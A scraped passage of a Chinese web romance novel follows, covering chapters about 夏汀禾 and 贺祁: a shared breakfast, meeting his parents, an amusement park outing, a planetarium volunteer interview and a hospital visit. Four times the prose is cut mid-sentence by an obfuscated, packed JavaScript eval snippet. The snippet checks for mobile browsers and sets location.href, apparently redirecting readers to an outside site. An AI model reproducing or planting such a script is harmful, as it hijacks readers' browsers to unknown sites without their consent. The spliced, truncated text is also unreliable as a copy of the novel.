于是去超市买菜时，他只需要注意看夏汀禾，她没具体回应说怎么样的，简单“嗯”了一声，那就是不怎么喜欢。 要是真的想吃，她会时不时地往那看。 没到十分钟挑完了食材，贺祁最后给她做了一盘意面。 正好刚摆好盘，梁浩就进了厨房。 贺祁问他要不要一起吃点。 “吃什么？”梁浩凑过去看了一眼，看到是他做的，高兴得不行，“你做的？” 贺祁虽然自己不喜欢吃东西，但在这方面似乎有点天赋，每次都能轻轻松松复刻他们想吃的，这也就导致梁浩经常跪求他下厨。 只是贺祁一般不会答应。 好不容易碰上这样的机会，梁浩自然不想错过，只不过—— “诶，还是下次吧，今天我有吃的了。” 梁浩在厨房里找了一圈，看到桌上放着熟悉的塑料袋，拿了起来。 “你刚出去买的？”贺祁问他。 “没啊。”梁浩打开袋子看了看，里面至少有四种早餐，“夏汀禾给我带的。” 贺祁刚出厨房，听到他这句，顿时停了下来。 梁浩已经拿了一个小笼包塞嘴里了，含糊不清地问他：“怎么了吗？” “你也来一个？”他把袋子递了过去。 贺祁淡淡地看了一眼，没接。 隔了会儿，梁浩又听到他问： “她亲手给你做的？” 不知道贺祁为什么会这么问，梁浩看他脸色变得不太好看，急忙说：“别，哥，你可别误会了，这是朝月给我买的，只是让夏汀禾拿到民宿给我。” 梁浩生怕他误会自己对除了女朋友之外的人有意思，手忙脚乱地一顿解释。 听完，贺祁脸上的情绪缓和了些，漫不经心地回他说：“噢，说这么多做什么？你自己知道就行。” 梁浩：“？？？” 不是他在问的？ - 早餐过后，没等到贺祁的回复，这人就出去了，夏汀禾只好又在民宿一直待到了下午。 午睡醒来后，她再次收到了付言辞发过来的消息，但这一次，他说的不是其他的，而是上次校园墙的事。 他发了好几条解释，最后留下一句：【聊天记录不是我的。抱歉，是我没有处理好】 那天和室友聊完之后，夏汀禾平静下来，就已经猜到了和他没关系。 她了解付言辞比了解自己多得多。 他虽然性子冷，但绝对不会去做这种事情。 只是夏汀禾在他这里听过太多次道歉了。从拒绝她的表白开始，他好像就一直地在这么做。 现在回想起之前的种种，夏汀禾也没觉得他哪里有错。 是她不应该喜欢对自己没有半点其他意思的人。 夏汀禾回他说：【没关系，现在已经删除了，对我也没造成什么影响】 备注显示成“对方正在输入”，回完之后，夏汀禾很久都没有得到回答。 不过付言辞似乎又一直在输入。 没自作多情地以为他是在想怎么回复自己，夏汀禾收了手机，下楼去了民宿大厅。 正好赶上前台的女生在搬东西，夏汀禾跑过去帮忙。 女生是在整理边上的一堆快递。为了节省空间，她把快递都叠在了一起，只是每次稍微一碰到，东西就又全部倒了。 过去后，夏汀禾调整了摆放的位置，很快帮忙整理好了。 “你怎么做的啊？真的不倒诶。” 女生还轻推了下叠了差不多有一米二高的快递，像是发现了新奇的玩具。 看到她笑了，夏汀禾说话的语气也不由自主地上扬了些，温和道：“你尽量让它们的重心偏低，靠近墙那边就好了。” “对，也是哦。”女生挠了下头发，不好意思地说：“果然高中学的知识都还给老师了。” 摆好好了东西，强迫症稍微缓解了些，女生拿了自己的快递，又拉着夏汀禾在旁边的椅子上坐下。 “你看，这是我爸妈给我寄过来的干菜，我们家自己晒的。我前几天打电话和他们提了一嘴想吃，没想到他们就给我寄过来了。” 女生兴致冲冲地拿着快递包装看了又看，还没找到开封的地方，先看到了自己的名字。 “就是他们老怕东西被人拿错，还在上面写我的名字。” 女生无奈地笑了笑。 夏汀禾看到包装上用黑色马克笔写的两个字——罗欣。 手写的字体有些歪歪扭扭，但看得出是一笔一划认认真真写上去的。 见她的目光落在了自己的名字上，罗欣有些羞涩起来，用手挡了一下：“没什么好看的啦，我自己都感觉自己的名字好普通，又很大众化。” 夏汀禾摇了摇头，回她说：“但我是第一次见这个名字。” “真的吗？你是第一次见？我觉得用这个字的人超级多。” 罗欣脸上的神情顿时轻松了不少，有点苦恼地和她说：“我之前因为这个都惆怅了好久。就上次和你说的，我打游戏认识的那个男生，他的名字就很特别很好听！和他见面的时候，他叫我的名字，其实我都想和他说不要喊我，我喊他就行了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581835|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 夏汀禾好奇起来：“那他叫什么？” 罗欣信誓旦旦地想要告诉她，不过到了嘴边却忽地说不出来了。 “不好意思，我好像忘了。”罗欣不好意思地笑了笑，“……可能也没那么特别。” 只是因为当时喜欢，所以他的一切才变得特别起来。 都说到这儿了，罗欣突然想到了什么，往夏汀禾面前凑了凑。 她小声说：“你上次说要追的那个人，是不是就是贺祁？” 话题一下子绕到自己身上来，夏汀禾还没想出应对的话来，罗欣又朝她眨了眨眼：“看你这么紧张，那肯定就是他了。” “他都给你做早餐了，你们两个要是没点什么，我是不可能相信的。” 早上罗欣本来打算用厨房的微波炉热一下早餐，结果就看见了贺祁在里面，以为他是自己做给自己吃，但没想到，等她再一回头看，那盘意面就到了夏汀禾面前。 夏汀禾慌乱解释说：“这是因为我把我的早餐给他吃了。” 罗欣却误解了她的意思，意味深长地点了点头，给她比了个赞：“非常可以。我明白的。” 和她说不清楚了，夏汀禾只好不说了。 她也没预料到贺祁会去挑食材给她做早餐吃的，而且还刚好弄了她喜欢的。 她想委婉地拒绝的，不过在看到餐盘里颇有食欲的意面和烤好的牛排后，瞬间就没办法放弃了。 都怪他做的看起来太好吃了。 和罗欣聊着天，空闲时夏汀禾还帮她做点事，一下午很快过去。 直到到了接近傍晚，梁浩忽地从房间里跑过来问她，有个景区在这个点怎么打到车。 “你是要去那边玩吗？”夏汀禾和罗欣同时看向了他。 他说的地方离民宿不远，只是人多，六七点钟是最难打车的时候。 梁浩摆了摆手，回应道：“不是，是贺祁现在在那，没办法过来。” “既然这样，那就让他再等几个小时好了。” 说完，他给贺祁回消息，还没发出去，夏汀禾和他说：“我开车去接他吧。” 梁浩不可思议地看了她一眼。 谁会给自己找活做啊？ 他没明白其中的缘由，罗欣却在夏汀禾背后忍着笑个不停，让夏汀禾耳朵都慢慢红了。 她其实没有那个意思。 只是觉得在家里待一天了，出去走走也挺好的。 不过被罗欣这么一弄，瞬间好像又变得不一样起来。 梁浩没自己决定，他打电话问了贺祁。 在一边说了一会儿后，他把手机给了夏汀禾。 一开始没听到那边的声音，夏汀禾还小声地叫了下他：“贺祁？” “嗯。”贺祁应了一声，不知道想到了什么，话里带着笑，懒洋洋地问她：“确定要过来？” 车程还好，一个小时而已。 夏汀禾肯定地回应了一声：“不可以吗？” 贺祁又说：“不止我一个，还有别人。” 夏汀禾以为是他的朋友，没觉得有什么问题：“也可以啊。” 她确定了，贺祁也没多说，只道会在路边等她。 挂了电话没多久，夏汀禾就开了车过去。 那一段路的确车多人也多，抵达的时候，夏汀禾找了几分钟都没看见人影。 直到贺祁对她招了下手，她才找到。 把车在他旁边停下，降下车窗，夏汀禾让他上来。 贺祁却笑了下，道：“行，知道了。” 他开了车门，隔了几秒，对不远处的一对夫妇喊了声：“爸、妈，这边。” 24. 游乐场 在贺祁说完之后，夏汀禾立即往对面看过去。 人群中有一对气质颇好的年轻夫妇正往他们这儿走来。女方挽着男方的手，两人姿态亲昵，走路时还在说笑。 贺祁是和她说过还有其他人，但并没有说明其他人指的是他的父母。 眼看着人越走越近，懵了一两秒后，夏汀禾的脸瞬间红了，握着方向盘的手都不知道该往哪放。 正想着该怎么打招呼比较礼貌，旁边副驾驶的车门突然被拉开，贺祁坐了下来。 他把刚才在景区给夏汀禾买的吃的放在了储物格上，俯身摆弄的时候，不经意间凑近了她。 看到她耳朵也有点红，贺祁笑了下说：“紧张什么？我不是在这儿么？” 他的声音就在耳边，弄得她更加有些热了。 夏汀禾微蹙着眉看向他，抿了下嘴唇小声道：“我以后都不来接你了。” “为什么？”贺祁单手撑在副驾驶的座位上看着她，又勾了下嘴角。 “你都没和我说。”夏汀禾感觉他问的这句也是在打趣自己，“反正我以后都不要了。” 明明就是故意的。 还要这样问她。 夏汀禾尝试说得态度强硬点，只是她的声音太乖了，贺祁压根没听出来。 他又笑了笑，说：“好，知道了，以后不让你来接了。” 这时贺祁的父母上了车，他收起了脸上的笑，轻声对夏汀禾道：“放松点，我来应付就行。” 贺父贺母说笑着坐到在了后座，没注意往驾驶位上看，只瞧见原来一起等车的还排在原地，不由得说了声： “儿子，你从哪联系上司机的？我看那边都排一小时的队了还没上车。” 听见这句，夏汀禾更加紧张了些，其实她更希望贺祁说她只是一个普通的出租车司机，这样至少她就可以不用说话了。 不过贺祁侧过脸，直接和父母讲：“这儿打车哪有那么容易？” “那这是？”看到儿子脸上的笑容，贺母不由得伸着脖子往这边看了看。 发现是个女生后，惊讶地正准备问点什么，贺祁已经先回了话：“她是我朋友，夏汀禾，特意开了一小时从民宿过来接我的。” 过于紧张，夏汀禾忽略他说了什么，只在他说完后记得接了一句：“……叔叔阿姨好。” 说得太快，她差点都咬到舌尖了，话里都带着颤音。 好在她声音不大，除了贺祁，其他两位都没听出来。 第一次见自己儿子这么认真地和自己介绍异性朋友，贺母不得不多打量了夏汀禾几眼，满脸笑意地说：“诶诶，好。你是叫汀禾？名字真好听——也是来这边旅游的？自驾游？和贺祁什么时候认识的呀？” 她连着提了好几个问题，夏汀禾都没能想清楚先回答哪个。 贺祁已经拦住了：“妈，下次有机会再问吧，不然待会儿又堵车了。” 这句算是成功劝住了人。后排安静下来，夏汀禾这才启动车驶出景区。 然而这点并没有打消二老的好奇心，两个人说着悄悄话，又时不时往夏汀禾这儿看。 尤其每次贺祁和夏汀禾讲话，或者是帮她开点零食给她吃，贺母都会不经意地笑出声了，弄得后来红灯停下，贺祁再把吃的递过来给她时，夏汀禾都只好说自己吃饱了。 夏汀禾没有猜到过贺母是这样的性格，亲切、温和而且热情。 和蔺妤是完全不同的。 他们俩和贺祁的相处方式也很轻松自在，几乎不存在命令式的语气和动作。 听着他们聊天，夏汀禾感觉自己似乎是在被幸福包围，但又好像融入不进去。 她很久没有拥有过这种家庭氛围了，也是从宁苒、贺祁身边的这些人身上，慢慢了解到，原来和家长还能这样说话、还可以这样相处。 开到半路时，正好经过游乐场。傍晚时分，仍旧有一批又一批在排队检票。 白天温度高，天气热。夜里凉快，人又少了些，正好适合。 堵车的时候，夏汀禾往游乐场扫了眼，看到门口的五彩灯光亮起后又收回了视线。 这时贺母突然说了声：“儿子，咱们去游乐场玩吧。” 听到这句话，夏汀禾下意识地看向贺祁。 接着，贺母又放温柔了声音，问她：“汀禾想不想去啊？开车这么久了，咱们也下去走走好不好？” 夏汀禾腼腆地点了点头。 “知道了。”贺祁说：“我去买票。” “买票的时候注意点，别被人骗走了。”一直没说话的贺父忽地叮嘱了句。 贺祁已经下了车，听到后无奈回过头回应了句：“爸，你是不是忘了我几岁了？” 贺父笑着和他扬了扬手：“别啰嗦了，快去吧，年轻人干活利索点。” 他去买票，父母也没跟过去，反而是陪着夏汀禾在这边找位置停车。 停好后，沿着人行道往游乐场走。 贺母这下才好认真问：“你不是贺祁的同学对吧？那和他怎么认识的呀？能告诉一下阿姨吗？” 见夏汀禾不好意思说，贺母又笑了笑：“不说也没关系的，不用紧张，我待会儿问他就行。” 略过了之前认错人的事，夏汀禾只说了他们是在外面玩的时候意外认识的。 贺母还想继续接着问，贺祁已经买了票回来，打断了两人的谈话。 四个人一起进了游乐场，路过鬼屋时，贺母看到一眼看中了鬼屋奇形怪状的外形，觉得新奇，当即决定要去里面瞧瞧，便拉着丈夫一同去。 进去前，贺母问夏汀禾想不想。 夏汀禾不可置信地再次确认了一遍：“……您是要去鬼屋吗？” 贺母点了点头：“对啊，多有意思啊，里面不是还有人扮成鬼嘛。” 夏汀禾对这类恐怖惊悚项目一向是绕道走的。她委婉地说了句拒绝，贺祁的父母于是就先排队进去了。 等从鬼屋的幻想中回过神来，夏汀禾才意识到旁边还站了个人。 她看向贺祁，问：“你想去吗？” 毕竟是人家买了票的，万一他想去，她也不能要求贺祁一直陪着她。 “不去。” “为什么？”夏汀禾还以为他们一家人都喜欢这类。 贺祁笑了下，看着她说：“还能是因为什么？我怕黑呗。你也别去，在这儿陪我。” 正好是夏汀禾想要的。 他们俩也没干站在门口等着，看到附近有休息的地方，就去了那边坐下。 “车钥匙在身上么？”坐下后，贺祁忽地问她。 夏汀禾以为他要去车上拿东西，很快就从包里翻出钥匙给了他。 没一会儿，贺祁回来了。 他确实去车上拿了东西，不过不是夏汀禾认为手机或者是什么其他重要的，而是一大袋子零食。 她当时不好意思在贺祁父母面前吃的那袋。虽然嘴上说不用，但是心里一直馋。 只是这是贺祁买的，所以她下车的时候也没敢拿下来。 她没想到贺祁会特意跑一趟。 知道了他手上提的是什么，夏汀禾立即小跑了过去。 “你怎么把零食拿过来了？” “你不是想吃？”贺祁垂眸看她在袋子里翻找，情不自禁地勾了下嘴角。 听到他这么说，夏汀禾拿了一包巧克力后，又有点害羞起来：“其实也可以等回去了再吃的……” “也行，那我现在放回去？”贺祁说着就要往回走，夏汀禾赶紧拉住了他。 “你都已经拿过来了，就不用再跑一趟了。叔叔阿姨等一下说不定也会饿的。” 视线落在她握着自己的手腕处，贺祁没回她说自己爸妈从来不吃零食，只笑了下，道：“也是，那就放这儿吧。” 被贺祁看着，似乎就要自在得多。 夏汀禾挑了一些她觉得贺祁的父母不会喜欢的零食尝了尝。 等吃饱了，看着周围来来往往的人，她想起来他们还在游乐场，哪都还没去玩呢。 这时贺祁的父母打电话过来，说是已经从鬼屋出来，去别的地方逛了，就不跟着他们一起了，也让他们多转一会儿，到时候结束了直接电话联系就行。 手上还拿着最后一袋饼干，夏汀禾抬眸看了看贺祁，开口问：“你有想去玩的项目吗？” 看他的性格，夏汀禾猜测贺祁可能会选择一些比较刺激的。 不过并没有。 “那边的？”贺祁给了个答案。 夏汀禾：“嗯？” 她看了过去，反应了好几秒才明白过来贺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597451|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祁说了什么。 “你喜欢玩碰碰车？” 前不久才跟梁浩和祝朝月来过一次，贺祁其实并没有特别感兴趣的。只是夏汀禾问的时候，他正好看向了那边的场地，想起了梁浩他们俩在那边玩的时候。 这个正好也是夏汀禾喜欢的。 她高兴应下，拉着贺祁跑去那边排队。 等过去了，才发现过来玩的挺多都是情侣，两两横着站在一排，互相打闹着。 并且非常不巧，他们俩前后左右就正好都是。 夏汀禾脸皮薄，围在人堆里就没好意思再和贺祁讲话了。 直到前面的人打闹的时候无意间撞到了夏汀禾。 “对不起对不起，你没事吧？” 对方很快道了歉，夏汀禾摇了摇头：“没事。” 等人转过去后，她又揉了揉手肘。 还是有点疼的。 “夏汀禾。”贺祁突然叫了她的名字，“站过来点。” 她看向他身边的地方，站过来的话，确实不会再和别人挨得太近，但是会离贺祁特别近。 夏汀禾犹豫了下。 几秒后，贺祁直接走了过来，站在了她旁边。他在她稍微前面一点，手随意地搭在旁边的铁栏杆上，分开了她和人群的距离。 夏汀禾感觉到脸颊更热了。 - 游戏很快轮到了他们。 许久没来游乐场，好不容易玩一次，结束后夏汀禾还有点没尽兴，于是贺祁又陪着她排了两次队。 出来后，两个人又挑了一些其他人少的项目。 两小时后，把游乐场基本上感兴趣的都玩完了，他们才打电话给贺祁的父母。 正好，夫妻俩也就在游乐场的门口。 没多久汇合，贺母提议拍张照片记录一下，到时候回去还可以发个朋友圈。 找了个路人帮忙，他们在门口的灯光下站成一排。 夏汀禾就在贺祁的旁边。摆姿势时，她往贺祁那看了眼。 贺祁的父母原本是想把手搭儿子肩膀上的，很常见的行为，只是夏汀禾却看到了他下意识地后退了些，躲开了。 愣了下后，大抵是意识到了是自己的父母，贺祁才重新站了回来。 贺父贺母已经把手改成了放在身前。 像是没发现儿子的举动，贺母笑了笑，对帮忙的路人说：“你好，可以拍了。” 一张合影就这么被留了下来。 回去的路上，贺母都一直在夸帮忙的人拍得好看。 两口子在附近定了海景酒店，夏汀禾先把他们送到了目的地。估计着他们会有话和贺祁说，她便借口去了旁边的便利店买水。 等她在便利店转了十分钟后回来，他们还在聊天。先坐进了车内，没来得及关车窗，谈话声就这么传了过来。 “汀禾觉得你怎么样啊？”这句是贺母问的。 贺祁无奈地笑了笑：“妈，我和她真不是你想的那种关系，我们目前就只是朋友。” “对啊，你都说了只是目前。要用发展的眼光看问题，以后就说不定了啊，谈恋爱不都是从朋友做起的？” 贺祁没话可说，只能干笑着。 等被亲妈一顿训完，他才开口道：“我能回去了么？她还在等我。” “你看我，一说你都忘了。”贺母赶紧对他扬了扬手，“快去快去。” 贺祁这才得了空，快步走了过来，看到夏汀禾仍坐在驾驶位上。 “我来开吧。” 他正准备从副驾驶位上下去，夏汀禾又拉住了他。 “等一下。” 贺祁没动了，侧过脸去看她。 车内灯洒下细碎的光，外面是灰蓝色的天空，车停靠在一排树边，周围格外安静。 夏汀禾直直地望向他，白皙干净的脸上还透着刚才在游乐场疯玩没缓过劲来的淡淡红晕。 看起来像是有些喝醉了。 但贺祁知道不是。 许久，贺祁才听到她问：“我们只是朋友关系吗？” 贺祁想说这不是她之前给的答案么？ 然而还没有说出口，夏汀禾垂着眼睫，看起来很委屈似的，又接着问他了： “……你也会和其他的普通异性朋友一起去游乐场玩的吗？” 25. 面试 贺祁都没明白话题是怎么一下子跳到了这上面来的。 他记得刚不是还好好的？说她要去买便利店买水，回来后还往他和他妈那边看了好几眼。 他也是看到夏汀禾在等，才和亲妈说要回去了。 贺祁莫名觉得有些好笑。 自己每次做的，夏汀禾似乎都看不到，只想听好听的。 他漫不经心地应了一声，回答说：“昂，也和别人去过。” 夏汀禾这时候抬起了头，眨了眨眼看向他，想说点什么，但是又没开口，弄得贺祁又开始愧疚起来。 感觉气氛有点不对，他放轻了声音解释：“和梁浩、祝朝月一起去的，你不是知道么？” 夏汀禾皱了下眉头：“我说的不是朝月。” 贺祁有意想让她把心底的话说出来，继续揣着明白装糊涂，笑着问：“祝朝月不是异性？还是说她不是其他人？” 这下夏汀禾不愿意理他了。 “你知道我说的是什么……” 还没说完，一直在旁边准备目送他们离开的贺母走了过来，她敲了下车窗，询问：“你们俩怎么还没走？是还打算去哪玩吗？” 贺祁先接了话，回应说：“没，刚您不是问了我们俩的关系吗？她……” “阿姨！”几乎是猜到了他会说什么，夏汀禾迅速打断了。 不出意外，贺母被她喊了过去。 夏汀禾红着脸想出一句话来：“下次有需要的话，还可以叫我的。我们马上就走了。” “行，那路上注意安全。” 贺母自然是懂什么意思的，笑着说好，就没再打扰他们，直接回了酒店。 等长辈离开了，夏汀禾更加不愿意和贺祁说话了，开着车就直接往民宿那边去了。 后半程路不管贺祁怎么搭话，她都选择不回答。 直到快要到民宿时，贺祁问她：“不是说要报名参加天文馆的志愿者？” 夏汀禾这才回他：“你不是不想去嘛？” 不想去还问她干嘛。 “你说呢？”贺祁无奈地看着她笑了笑，“不说这个，有的人都不愿意和我讲话了。” 是他总是要弄得她生气的。 “我才没有……”夏汀禾底气不足地回了一句，又忍不住反问他：“那你去不去？” 贺祁点了下头：“嗯，去。” 反正他也没什么事，每天去周边到处瞎逛也挺无聊的，不如找点事情做。 听到这个回答，夏汀禾才终于愿意和他搭话。 听她讲一些今天在游乐场的感受，结尾又落到了夸他爸妈上，贺祁偶尔回应一两句。 不知不觉到了民宿，两个人都没急着下车。夏汀禾往旁边一瞥，才发现贺祁一直在看着她。 “你看我做什么？”夏汀禾又开始不好意思起来。 贺祁只懒洋洋地问她：“现在高兴了？” 不高兴的话，也不会和他讲这么多。 贺祁也算是慢慢摸清楚了她的性格——说话直来直去的，有什么情绪也摆在脸上，不过情绪来得快去得也快。 想到刚才的表现，夏汀禾低低地应了一声：“……嗯。” - 回到民宿，第一个迎上来的是梁浩。 “你们怎么这么晚才回来？不是说就一小时的车程吗？”他搭上贺祁的肩膀，拉着他问。 一个小时的车程是没错，但又在游乐场花了将近三小时，所以他们回来时已经差不多十点钟了。 “在外面玩了一会儿。”贺祁回了句。 梁浩大为惊讶：“在哪玩的？居然不叫上我？而且叔叔阿姨不是也在么？” 他没想到贺祁会带着夏汀禾跟他父母一起去玩，更没想到还玩了这么久。 “游乐场。”他问的问题太多，贺祁懒得解释了，只随便挑了一个回答。 “这你不是上次才和我们去的么？玩的啥啊？” 贺祁看了他一眼，笑着说：“大摆锤，感兴趣么？下次一起？” 梁浩赶紧闭嘴了，他对这种项目丝毫不感兴趣，可千万别拉上他。 正好有人给贺祁发消息，让他逃过了一劫。 梁浩其实是没打算看的，只是他们俩站得近，不经意之间一瞥，刚好就瞧见了消息的内容。 【你好呀，还记得我吗？我是上次请你帮忙拍合照的女生，你最近有去哪玩吗？】 梁浩：“？” 这件事比起前面的更让他不可思议。 “你给女生联系方式了？”过于意外，梁浩就直接这么问了出来。 等说完后，他才想起自己是在民宿的大厅里。这时大多数客人已经回房间休息，厅内极为安静。除了他们俩外，大厅里就只有在前台那边的夏汀禾和罗欣。 在他提问后，贺祁没急着回应，先看向了前台。 夏汀禾似乎没听到，仍旧在和罗欣聊天。 她坐在椅子上，单手拖着下巴，柔顺微卷的长发就自然而然落到了肩上，遮住了点下巴，显得本来就不大的脸蛋更小了些。 和人聊着天，她手上也没闲着，拿了一杯淡粉色的芭乐汁倒在玻璃杯里喝，偶尔听到有趣的还会笑了一下。 贺祁这下才回梁浩说：“上次意外加的。” 梁浩还打算继续问，贺祁提前止住了：“别发散思维，人家只是问我有没有推荐玩的地方，没别的意思。” 梁浩耸了耸肩，想回他说鬼才信呢，肚子突然一痛。 他只好屈服：“算了，待会儿再和你说了，我先去一下洗手间。” 贺祁：“……” 从那天吃完祝朝月给带的早餐后，梁浩就一直没调理过来。也不是食物的问题，只是他的体质和别人不一样，有些东西吃了就容易不舒服。 但因为是女朋友特意带过来的，他想也没想，就全部吃了。 贺祁其实不太能理解这种做法，就算是情侣，也没必要为对方去将就。如果已经到了互相隐瞒的地步，那还有什么走下去的理由？ 不过到底不是他自己，他也不会随意评价别人之间的相处模式。 - 当天答应了夏汀禾会和她一起去天文馆当志愿者，晚上回到房间后，贺祁就投了简历。 几天后，收到通过的消息，他和夏汀禾便约了同一天的面试。 面试的早上，和上次一样，他和夏汀禾选择了坐地铁。只不过这次错开了高峰期，车厢内没多少人，随便找了个地方都有空位。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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连问了几个，贺祁发现她都没看自己，笑着说：“低头做什么？这不回答得挺好的么？嗯？夏同学？” 他凑近说话的时候，带着磁性的声音就像是在耳边回响。 耳尖有些热，夏汀禾推了下他，磕磕绊绊地说：“你还没问完呢。” 知道她害羞了，贺祁也没再继续逗下去，直起了身，继续把接下来的提问完成。 和他想的一样，夏汀禾准备得已经很充分了。这几天他也老是在民宿里看到她拿着稿子在背。 正常发挥，面试通过肯定没问题。 所以他是更想让她在面试前放松一点。 好不容易一轮模拟面试结束，贺祁想找个笑话和她说一下。 他正好要开口时，夏汀禾的手机响了一声。她打开看了下消息，又安静地收了起来。 “怎么不回？”贺祁下意识地问了一句。 “是天文馆发的面试注意事项提醒。”夏汀禾回了他。 贺祁点了下头表示了解，准备的笑话还没说，又听到她小声地加了句： “我又不会随便加别人的联系方式。” 26. 背面 一直到进了天文馆，夏汀禾去了面试厅，贺祁才弄清楚在地铁上她最后说的那句话是什么意思。 她不会随便乱加人，所以不会时刻有消息需要回复。不像他，隔三岔五地就会收到别人的消息。 贺祁以为她那天没听到自己和梁浩的谈话，现在看来，当时夏汀禾就知道了，只是一直憋着没说，正好他在地铁上随口问了，她也就说了出来。 想到这里，贺祁坐在大厅的休息椅上，又忍不住笑了下。 面试时长在半小时左右，贺祁排在夏汀禾后面的第三位。闲着无聊，他起身在场馆内随便逛了逛。 他来过这里十几次了，其实很多地方都再熟悉不过。 只是逛着、看着，就不知不觉走到了最偏僻的8号展厅，里面展示的是最少人感兴趣的宇宙角落。 不像技术模拟的银河那般璀璨绚烂，也没有大厅正中央展示的各类天体模型。宇宙的角落，是孤寂漫长的，只有永恒的黑暗和悬浮在其中的不知名物质。 贺祁曾经被一个人带到这个最安静的展厅来看。 面试厅内。 夏汀禾坐在长桌的一边，对面则是三位面试官，在了解她的基本信息后，中间的最先向她提问： “现在我们假设一个场景，你需要向来馆内研学的初小学生介绍天文这一基本概念，引起他们的兴趣，你会怎么去说？” 常见的情景假设问题。 基本步骤就是先基于自己的理解解释概念，再给出具体的回答。 这是贺祁在地铁上教她的。 在桌下掐紧了手，夏汀禾看着面试官，一丝不苟地回答：“按照普遍的定义，天文可以说是天体、宇宙的一系列自然现象，研究它即是通常所说的天文学。不过考虑到受众的身份，还需要简化语言，所以可以这么说……” 她给出的几乎是标准答案，后续的问题也回答得堪称完美。 只是结束时，中间那位资历更深的面试官又问了她：“你是Q大物理系的学生是吧？以后是不是有想转天文专业的打算？” 夏汀禾不知道对方怎么突然会对自己的专业感兴趣，只是面试志愿者而已，中间的问题也很少涉及她个人。不过当时还在面试的状态没跳脱出来，她下意识地就点了点头。 对方笑了下，说：“你喜欢它是因为看到了它壮观绚丽的一面么？你在回答里提到了很多次银河、旋臂、星座、星轨这些概念，宇宙里的这些确实很漂亮——不过你有没有尝试过去了解它的背面？” 背面？ 夏汀禾被他突然的提问给说得愣了下。 她没明白是什么意思，也不清楚该怎么回应。 好在下一个面试者，很快进来。她没来得及回话，面试官就已经笑着点了点头，放了她出去。 出了面试厅，夏汀禾做的第一件事就是找贺祁。 没在原来的地方看到他，她直接拨了电话过去。 电话很快接通了。 贺祁是停了几秒才说话的：“面试完了？” 他的声音有些低。 “嗯。”夏汀禾把手机贴近了些，听到他那边很安静，说话的时候甚至还有些回音，“你去哪了？出去了么？” 场馆内一般都会比较吵闹。 贺祁没回她后面这句，只说他了现在过来。 过了会儿，贺祁走到了她面前。 他什么都没有变，甚至连脸上的表情都是和刚来是差不多的，依旧是随心所欲地笑，漫不经心地和她说话。 但是夏汀禾就是感觉有点不一样了。 每次她以为自己对贺祁已经了解了一些，后来又会在相处中发现似乎并不是。 贺祁是在一小时后面试完的。出来后，夏汀禾想和他一起去吃午餐，然而这时又突然接到了蔺妤的电话。 “你在哪？”蔺妤第一句话就是习惯性这么问她。 兴许是听到她这边吵闹的动静，没等夏汀禾说，她又道：“不在家？” 夏汀禾“嗯”了一声：“我在外面……” 说话的时候又不由得有些慌乱起来。 好在蔺妤也没多想，轻叹了一口气后，就说：“知道了，你有空的话，帮我从家里把带电脑医院来。” “医院？”夏汀禾瞬间被转移了注意力。 还没等她问，蔺妤又解释了句：“没什么大事，工作的时候不小心被东西砸了下。行了，不说了，你记得给我带过来就行，地址我发你了。” 说完，蔺妤很快挂了电话。 她对什么事都是不怎么在意的人，夏汀禾却不是。 她着急地和贺祁说：“我要回一趟家，可能不和你一起了。” 贺祁也没多说，很快伸手帮她拦了辆车，让她坐了上去。 半小时后到家，夏汀禾几乎是一路跑上楼的，飞快地拿了电脑，又再次打车去了医院。找到病房号后，她迅速地推了门进去。 蔺妤的手上打了石膏，这时正全神贯注地在看病房里的电视。没料到她回这么快的过来，门被推开的时候，看到无脑电视剧情节皱眉的表情都没来得及收起。 她愣了下，扯出一句话来：“你刚不是说还在外面？和朋友玩完了？” 确保她全身上下只有手有问题，其他地方没事后，夏汀禾把电脑拿了过去，同时帮她支起了床上的小桌，打开放在了上面。 “嗯。”夏汀禾没多说，“我们本来也打算回去了的。” 电脑拿了过来，蔺妤的精神明显好了些，左手被吊着，也不妨碍她用右手拿鼠标。 夏汀禾帮她倒了水，也不敢打扰，在她歇息的时候才问：“你什么时候来医院的？” “昨天。”蔺妤给了答案。 昨天受的伤，今天不得已了才告诉她。 夏汀禾低着头没说话，把温水递到了她手边。 蔺妤端着喝了一口，过了会儿，又突然说：“上次家里的排骨汤是你煲的？” 夏汀禾不明所以地看向她，蔺妤的视线依旧落在电脑屏幕上，看着是极为不经意地说出来的：“挺好喝的。下次做了自己也尝尝，我一个人也喝不完那么一大锅。” 夏汀禾是没想过，这么久了，她还会再次提起这件事。 “哦”了一声，又看向了窗外。 夏汀禾对医院的第一印象就是害怕。因为小时候体质弱，经常伤风感冒，就被舅舅舅妈带着来这里打针。 医院对她来说，总是和疼痛联系在一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 